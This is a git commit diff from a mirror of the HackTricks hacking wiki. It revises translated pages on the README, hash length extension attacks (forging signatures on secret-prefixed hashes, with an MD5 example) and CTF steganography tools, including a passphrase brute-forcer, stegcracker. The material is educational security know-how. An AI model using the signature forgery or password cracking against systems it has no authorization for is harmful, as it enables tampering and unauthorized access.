mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-21 20:23:18 +00:00
Translated ['README.md', 'crypto-and-stego/hash-length-extension-attack.
This commit is contained in:
parent
655e2604fc
commit
e9cab930d8
86 changed files with 1414 additions and 3030 deletions
50
README.md
50
README.md
|
@ -5,7 +5,7 @@
|
|||
_Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
|
||||
{% hint style="success" %}
|
||||
**Witamy w wiki, gdzie znajdziesz każdą sztuczkę/technikę hakerską, którą nauczyłem się z CTF, aplikacji w rzeczywistym życiu, czytania badań i wiadomości.**
|
||||
**Witamy w wiki, gdzie znajdziesz każdą sztuczkę/technikę hakerską, cokolwiek nauczyłem się z CTF, aplikacji w rzeczywistości, czytania badań i wiadomości.**
|
||||
{% endhint %}
|
||||
|
||||
Aby rozpocząć, zapoznaj się z tą stroną, gdzie znajdziesz **typowy przebieg**, który **powinieneś śledzić podczas pentestingu** jednej lub więcej **maszyn:**
|
||||
|
@ -32,7 +32,7 @@ Możesz sprawdzić ich **blog** pod adresem [**https://blog.stmcyber.com**](http
|
|||
|
||||
<figure><img src=".gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com) to najważniejsze wydarzenie związane z cyberbezpieczeństwem w **Hiszpanii** i jedno z najważniejszych w **Europie**. Z **misją promowania wiedzy technicznej**, ten kongres jest gorącym punktem spotkań dla profesjonalistów technologicznych i cyberbezpieczeństwa w każdej dziedzinie.
|
||||
[**RootedCON**](https://www.rootedcon.com) to najważniejsze wydarzenie związane z cyberbezpieczeństwem w **Hiszpanii** i jedno z najważniejszych w **Europie**. Z **misją promowania wiedzy technicznej**, ten kongres jest gorącym punktem spotkań dla profesjonalistów technologii i cyberbezpieczeństwa w każdej dziedzinie.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
|
@ -71,7 +71,7 @@ Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbm
|
|||
|
||||
* **Wgląd w hacking:** Angażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem
|
||||
* **Aktualności o hackingu w czasie rzeczywistym:** Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i wglądom
|
||||
* **Najnowsze ogłoszenia:** Bądź informowany o najnowszych nagrodach za błędy oraz istotnych aktualizacjach platformy
|
||||
* **Najnowsze ogłoszenia:** Bądź na bieżąco z nowymi nagrodami bug bounty i istotnymi aktualizacjami platformy
|
||||
|
||||
**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hakerami już dziś!
|
||||
|
||||
|
@ -87,54 +87,20 @@ Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbm
|
|||
|
||||
***
|
||||
|
||||
### [SerpApi](https://serpapi.com/)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
SerpApi oferuje szybkie i łatwe API w czasie rzeczywistym do **uzyskiwania wyników wyszukiwania**. Zbierają dane z wyszukiwarek, obsługują proxy, rozwiązują captchy i analizują wszystkie bogate dane strukturalne dla Ciebie.
|
||||
|
||||
Subskrypcja jednego z planów SerpApi obejmuje dostęp do ponad 50 różnych API do zbierania danych z różnych wyszukiwarek, w tym Google, Bing, Baidu, Yahoo, Yandex i innych.\
|
||||
W przeciwieństwie do innych dostawców, **SerpApi nie tylko zbiera organiczne wyniki**. Odpowiedzi SerpApi konsekwentnie zawierają wszystkie reklamy, obrazy i filmy inline, grafy wiedzy oraz inne elementy i funkcje obecne w wynikach wyszukiwania.
|
||||
|
||||
Obecni klienci SerpApi to **Apple, Shopify i GrubHub**.\
|
||||
Aby uzyskać więcej informacji, sprawdź ich [**blog**](https://serpapi.com/blog/)**,** lub wypróbuj przykład w ich [**playground**](https://serpapi.com/playground)**.**\
|
||||
Możesz **utworzyć darmowe konto** [**tutaj**](https://serpapi.com/users/sign\_up)**.**
|
||||
|
||||
***
|
||||
|
||||
### [Try Hard Security Group](https://discord.gg/tryhardsecurity)
|
||||
|
||||
<figure><img src=".gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### [WebSec](https://websec.nl/)
|
||||
|
||||
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WebSec**](https://websec.nl) to profesjonalna firma zajmująca się cyberbezpieczeństwem z siedzibą w **Amsterdamie**, która pomaga **chronić** firmy **na całym świecie** przed najnowszymi zagrożeniami w zakresie cyberbezpieczeństwa, oferując **usługi ofensywne** z **nowoczesnym** podejściem.
|
||||
|
||||
WebSec to **wszechstronna firma zabezpieczająca**, co oznacza, że robią wszystko; Pentesting, **Audyty** Bezpieczeństwa, Szkolenia w zakresie Świadomości, Kampanie Phishingowe, Przegląd Kodów, Rozwój Eksploatacji, Outsourcing Ekspertów Bezpieczeństwa i wiele więcej.
|
||||
WebSec to **wszystko w jednym** firma zabezpieczająca, co oznacza, że robią wszystko; Pentesting, **Audyty** Bezpieczeństwa, Szkolenia w zakresie Świadomości, Kampanie Phishingowe, Przegląd Kodów, Rozwój Eksploatacji, Outsourcing Ekspertów ds. Bezpieczeństwa i wiele więcej.
|
||||
|
||||
Kolejną fajną rzeczą w WebSec jest to, że w przeciwieństwie do średniej w branży, WebSec jest **bardzo pewny swoich umiejętności**, do tego stopnia, że **gwarantują najlepsze wyniki jakościowe**, jak stwierdzają na swojej stronie "**Jeśli nie możemy tego zhakować, nie płacisz!**". Aby uzyskać więcej informacji, zapoznaj się z ich [**stroną internetową**](https://websec.nl/en/) i [**blogiem**](https://websec.nl/blog/)!
|
||||
Kolejną fajną rzeczą w WebSec jest to, że w przeciwieństwie do średniej w branży, WebSec jest **bardzo pewny swoich umiejętności**, do tego stopnia, że **gwarantują najlepsze wyniki jakościowe**, jak stwierdzają na swojej stronie "**Jeśli nie możemy tego zhakować, nie płacisz!**". Aby uzyskać więcej informacji, zapoznaj się z ich [**stroną**](https://websec.nl/en/) i [**blogiem**](https://websec.nl/blog/)!
|
||||
|
||||
Oprócz powyższego, WebSec jest również **zaangażowanym wsparciem dla HackTricks.**
|
||||
Oprócz powyższego, WebSec jest również **zaangażowanym wsparciem HackTricks.**
|
||||
|
||||
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to **wyszukiwarka** zasilana **dark webem**, która oferuje **darmowe** funkcje do sprawdzania, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące dane**.
|
||||
|
||||
Ich głównym celem jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego dane.
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
## License & Disclaimer
|
||||
|
||||
|
@ -158,8 +124,8 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hakerskimi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hakerskimi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,43 +1,30 @@
|
|||
# Atak rozszerzenia długości hasha
|
||||
# Hash Length Extension Attack
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to wyszukiwarka zasilana **dark-web**, która oferuje **darmowe** funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
|
||||
Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz sprawdzić ich stronę i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Podsumowanie ataku
|
||||
|
||||
Wyobraź sobie serwer, który **podpisuje** jakieś **dane**, **dodając** **sekret** do znanych danych w postaci tekstu jawnego, a następnie haszując te dane. Jeśli znasz:
|
||||
Wyobraź sobie serwer, który **podpisuje** jakieś **dane**, **dodając** **sekret** do znanych danych tekstowych i następnie haszując te dane. Jeśli wiesz:
|
||||
|
||||
* **Długość sekretu** (można to również wypróbować z danego zakresu długości)
|
||||
* **Dane w postaci tekstu jawnego**
|
||||
* **Długość sekretu** (można to również wywnioskować z podanego zakresu długości)
|
||||
* **Dane tekstowe**
|
||||
* **Algorytm (i jest podatny na ten atak)**
|
||||
* **Padding jest znany**
|
||||
* Zwykle używany jest domyślny, więc jeśli pozostałe 3 wymagania są spełnione, to również jest
|
||||
* Zwykle używany jest domyślny, więc jeśli spełnione są pozostałe 3 wymagania, to również jest
|
||||
* Padding różni się w zależności od długości sekretu + danych, dlatego długość sekretu jest potrzebna
|
||||
|
||||
Wtedy możliwe jest, aby **atakujący** **dodał** **dane** i **wygenerował** ważny **podpis** dla **poprzednich danych + dodanych danych**.
|
||||
|
@ -49,7 +36,7 @@ Zasadniczo podatne algorytmy generują hashe, najpierw **haszując blok danych**
|
|||
Wyobraź sobie, że sekret to "secret", a dane to "data", MD5 "secretdata" to 6036708eba0d11f6ef52ad44e8b74d5b.\
|
||||
Jeśli atakujący chce dodać ciąg "append", może:
|
||||
|
||||
* Wygenerować MD5 z 64 "A"
|
||||
* Wygenerować MD5 64 "A"
|
||||
* Zmienić stan wcześniej zainicjowanego hasha na 6036708eba0d11f6ef52ad44e8b74d5b
|
||||
* Dodać ciąg "append"
|
||||
* Zakończyć haszowanie, a wynikowy hash będzie **ważny dla "secret" + "data" + "padding" + "append"**
|
||||
|
@ -58,33 +45,23 @@ Jeśli atakujący chce dodać ciąg "append", może:
|
|||
|
||||
{% embed url="https://github.com/iagox86/hash_extender" %}
|
||||
|
||||
### Odniesienia
|
||||
### Referencje
|
||||
|
||||
Możesz znaleźć ten atak dobrze wyjaśniony w [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to wyszukiwarka zasilana **dark-web**, która oferuje **darmowe** funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
|
||||
Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz sprawdzić ich stronę i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,63 +1,55 @@
|
|||
# Sztuczki Stego
|
||||
# Stego Tricks
|
||||
|
||||
{% hint style="success" %}
|
||||
Dowiedz się i praktykuj Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Dowiedz się i praktykuj Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Wesprzyj HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Udostępnij sztuczki hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Grupa Try Hard Security**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## **Wyciąganie Danych z Plików**
|
||||
## **Extracting Data from Files**
|
||||
|
||||
### **Binwalk**
|
||||
|
||||
Narzędzie do wyszukiwania ukrytych plików i danych osadzonych w plikach binarnych. Jest instalowane za pomocą `apt`, a jego źródło jest dostępne na [GitHub](https://github.com/ReFirmLabs/binwalk).
|
||||
Narzędzie do wyszukiwania plików binarnych w poszukiwaniu osadzonych ukrytych plików i danych. Jest instalowane za pomocą `apt`, a jego źródło jest dostępne na [GitHubie](https://github.com/ReFirmLabs/binwalk).
|
||||
```bash
|
||||
binwalk file # Displays the embedded data
|
||||
binwalk -e file # Extracts the data
|
||||
binwalk --dd ".*" file # Extracts all data
|
||||
```
|
||||
### **Najważniejsze**
|
||||
### **Foremost**
|
||||
|
||||
Odzyskuje pliki na podstawie ich nagłówków i stop. Przydatne dla obrazów png. Zainstaluj za pomocą `apt` z kodem źródłowym na [GitHub](https://github.com/korczis/foremost).
|
||||
Odzyskuje pliki na podstawie ich nagłówków i stóp, przydatne dla obrazów png. Zainstalowane za pomocą `apt` z jego źródłem na [GitHub](https://github.com/korczis/foremost).
|
||||
```bash
|
||||
foremost -i file # Extracts data
|
||||
```
|
||||
### **Exiftool**
|
||||
|
||||
Pomaga wyświetlać metadane pliku, dostępny [tutaj](https://www.sno.phy.queensu.ca/~phil/exiftool/).
|
||||
Pomaga w przeglądaniu metadanych plików, dostępne [tutaj](https://www.sno.phy.queensu.ca/\~phil/exiftool/).
|
||||
```bash
|
||||
exiftool file # Shows the metadata
|
||||
```
|
||||
### **Exiv2**
|
||||
|
||||
Podobnie jak exiftool, do przeglądania metadanych. Można zainstalować za pomocą `apt`, źródło na [GitHub](https://github.com/Exiv2/exiv2), oraz posiada [oficjalną stronę internetową](http://www.exiv2.org/).
|
||||
Podobnie jak exiftool, do przeglądania metadanych. Można zainstalować za pomocą `apt`, źródło na [GitHub](https://github.com/Exiv2/exiv2), i ma [oficjalną stronę](http://www.exiv2.org/).
|
||||
```bash
|
||||
exiv2 file # Shows the metadata
|
||||
```
|
||||
### **Plik**
|
||||
|
||||
Zidentyfikuj rodzaj pliku, z którym masz do czynienia.
|
||||
Zidentyfikuj typ pliku, z którym masz do czynienia.
|
||||
|
||||
### **Ciągi znaków**
|
||||
### **Ciągi**
|
||||
|
||||
Wyodrębnia czytelne ciągi znaków z plików, używając różnych ustawień kodowania do filtrowania wyników.
|
||||
Ekstrahuje czytelne ciągi z plików, używając różnych ustawień kodowania do filtrowania wyników.
|
||||
```bash
|
||||
strings -n 6 file # Extracts strings with a minimum length of 6
|
||||
strings -n 6 file | head -n 20 # First 20 strings
|
||||
|
@ -71,42 +63,42 @@ strings -e B -n 6 file # 32bit strings (big-endian)
|
|||
```
|
||||
### **Porównanie (cmp)**
|
||||
|
||||
Przydatne do porównywania zmodyfikowanego pliku z jego oryginalną wersją znalezioną online.
|
||||
Przydatne do porównywania zmodyfikowanego pliku z jego oryginalną wersją dostępną w Internecie.
|
||||
```bash
|
||||
cmp original.jpg stego.jpg -b -l
|
||||
```
|
||||
## **Wyciąganie Ukrytych Danych z Tekstu**
|
||||
## **Wydobywanie ukrytych danych w tekście**
|
||||
|
||||
### **Ukryte Dane w Spacjach**
|
||||
### **Ukryte dane w przestrzeniach**
|
||||
|
||||
Niewidoczne znaki w pozornie pustych miejscach mogą zawierać informacje. Aby wydobyć te dane, odwiedź [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder).
|
||||
Niewidoczne znaki w pozornie pustych przestrzeniach mogą ukrywać informacje. Aby wydobyć te dane, odwiedź [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder).
|
||||
|
||||
## **Wyciąganie Danych z Obrazów**
|
||||
## **Wydobywanie danych z obrazów**
|
||||
|
||||
### **Identyfikacja Szczegółów Obrazu za Pomocą GraphicMagick**
|
||||
### **Identyfikacja szczegółów obrazu za pomocą GraphicMagick**
|
||||
|
||||
[GraphicMagick](https://imagemagick.org/script/download.php) służy do określania typów plików obrazów i identyfikowania potencjalnych uszkodzeń. Wykonaj poniższą komendę, aby przeanalizować obraz:
|
||||
[GraphicMagick](https://imagemagick.org/script/download.php) służy do określenia typów plików obrazów i identyfikacji potencjalnych uszkodzeń. Wykonaj poniższe polecenie, aby sprawdzić obraz:
|
||||
```bash
|
||||
./magick identify -verbose stego.jpg
|
||||
```
|
||||
Aby spróbować naprawić uszkodzony obraz, dodanie komentarza metadanych może pomóc:
|
||||
Aby spróbować naprawić uszkodzony obraz, dodanie komentarza do metadanych może pomóc:
|
||||
```bash
|
||||
./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg
|
||||
```
|
||||
### **Steghide do ukrywania danych**
|
||||
|
||||
Steghide ułatwia ukrywanie danych w plikach `JPEG, BMP, WAV i AU`, zdolny do osadzania i wydobywania zaszyfrowanych danych. Instalacja jest prosta za pomocą `apt`, a jego [kod źródłowy jest dostępny na GitHubie](https://github.com/StefanoDeVuono/steghide).
|
||||
Steghide ułatwia ukrywanie danych w plikach `JPEG, BMP, WAV i AU`, zdolnych do osadzania i wydobywania zaszyfrowanych danych. Instalacja jest prosta za pomocą `apt`, a [kod źródłowy jest dostępny na GitHubie](https://github.com/StefanoDeVuono/steghide).
|
||||
|
||||
**Polecenia:**
|
||||
|
||||
* `steghide info plik` ujawnia, czy plik zawiera ukryte dane.
|
||||
* `steghide extract -sf plik [--hasło hasło]` wydobywa ukryte dane, hasło opcjonalne.
|
||||
* `steghide info file` ujawnia, czy plik zawiera ukryte dane.
|
||||
* `steghide extract -sf file [--passphrase password]` wydobywa ukryte dane, hasło opcjonalne.
|
||||
|
||||
Dla wydobycia danych za pomocą przeglądarki, odwiedź [tę stronę internetową](https://futureboy.us/stegano/decinput.html).
|
||||
Aby wydobyć dane przez internet, odwiedź [tę stronę](https://futureboy.us/stegano/decinput.html).
|
||||
|
||||
**Atak brutalnej siły przy użyciu Stegcrackera:**
|
||||
**Atak brute-force z Stegcracker:**
|
||||
|
||||
* Aby spróbować złamać hasło w Steghide, użyj [stegcrackera](https://github.com/Paradoxis/StegCracker.git) w następujący sposób:
|
||||
* Aby spróbować złamać hasło w Steghide, użyj [stegcracker](https://github.com/Paradoxis/StegCracker.git) w następujący sposób:
|
||||
```bash
|
||||
stegcracker <file> [<wordlist>]
|
||||
```
|
||||
|
@ -116,63 +108,65 @@ zsteg specjalizuje się w odkrywaniu ukrytych danych w plikach PNG i BMP. Instal
|
|||
|
||||
**Polecenia:**
|
||||
|
||||
* `zsteg -a plik` stosuje wszystkie metody wykrywania na pliku.
|
||||
* `zsteg -E plik` określa ładunek dla ekstrakcji danych.
|
||||
* `zsteg -a file` stosuje wszystkie metody detekcji na pliku.
|
||||
* `zsteg -E file` określa ładunek do ekstrakcji danych.
|
||||
|
||||
### **StegoVeritas i Stegsolve**
|
||||
|
||||
**stegoVeritas** sprawdza metadane, wykonuje transformacje obrazu i stosuje siłowe łamanie LSB, między innymi. Użyj `stegoveritas.py -h` dla pełnej listy opcji i `stegoveritas.py stego.jpg` aby wykonać wszystkie sprawdzenia.
|
||||
**stegoVeritas** sprawdza metadane, wykonuje transformacje obrazów i stosuje brutalne siłowe ataki LSB, między innymi. Użyj `stegoveritas.py -h`, aby uzyskać pełną listę opcji, oraz `stegoveritas.py stego.jpg`, aby wykonać wszystkie kontrole.
|
||||
|
||||
**Stegsolve** stosuje różne filtry kolorów, aby ujawnić ukryte teksty lub wiadomości w obrazach. Jest dostępny na [GitHubie](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve).
|
||||
|
||||
### **FFT do Wykrywania Ukrytej Zawartości**
|
||||
### **FFT do wykrywania ukrytej zawartości**
|
||||
|
||||
Techniki Szybkiej Transformaty Fouriera (FFT) mogą odsłonić ukrytą zawartość w obrazach. Przydatne zasoby to:
|
||||
Techniki szybkiej transformaty Fouriera (FFT) mogą ujawniać ukrytą zawartość w obrazach. Przydatne zasoby to:
|
||||
|
||||
* [Demo EPFL](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
|
||||
* [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
|
||||
* [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/)
|
||||
* [FFTStegPic na GitHubie](https://github.com/0xcomposure/FFTStegPic)
|
||||
|
||||
### **Stegpy dla Plików Audio i Obrazów**
|
||||
### **Stegpy dla plików audio i obrazów**
|
||||
|
||||
Stegpy pozwala na osadzanie informacji w plikach audio i obrazów, obsługując formaty takie jak PNG, BMP, GIF, WebP i WAV. Jest dostępny na [GitHubie](https://github.com/dhsdshdhk/stegpy).
|
||||
Stegpy pozwala na osadzanie informacji w plikach obrazów i audio, wspierając formaty takie jak PNG, BMP, GIF, WebP i WAV. Jest dostępny na [GitHubie](https://github.com/dhsdshdhk/stegpy).
|
||||
|
||||
### **Pngcheck do Analizy Plików PNG**
|
||||
### **Pngcheck do analizy plików PNG**
|
||||
|
||||
Aby analizować pliki PNG lub weryfikować ich autentyczność, użyj:
|
||||
```bash
|
||||
apt-get install pngcheck
|
||||
pngcheck stego.png
|
||||
```
|
||||
### **Dodatkowe narzędzia do analizy obrazów**
|
||||
|
||||
Dla dalszego zgłębiania tematu, rozważ odwiedzenie:
|
||||
Aby dalej eksplorować, rozważ odwiedzenie:
|
||||
|
||||
* [Magic Eye Solver](http://magiceye.ecksdee.co.uk/)
|
||||
* [Analiza Poziomu Błędu Obrazu](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
|
||||
* [Analiza poziomu błędów obrazu](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
|
||||
* [Outguess](https://github.com/resurrecting-open-source-projects/outguess)
|
||||
* [OpenStego](https://www.openstego.com/)
|
||||
* [DIIT](https://diit.sourceforge.net/)
|
||||
|
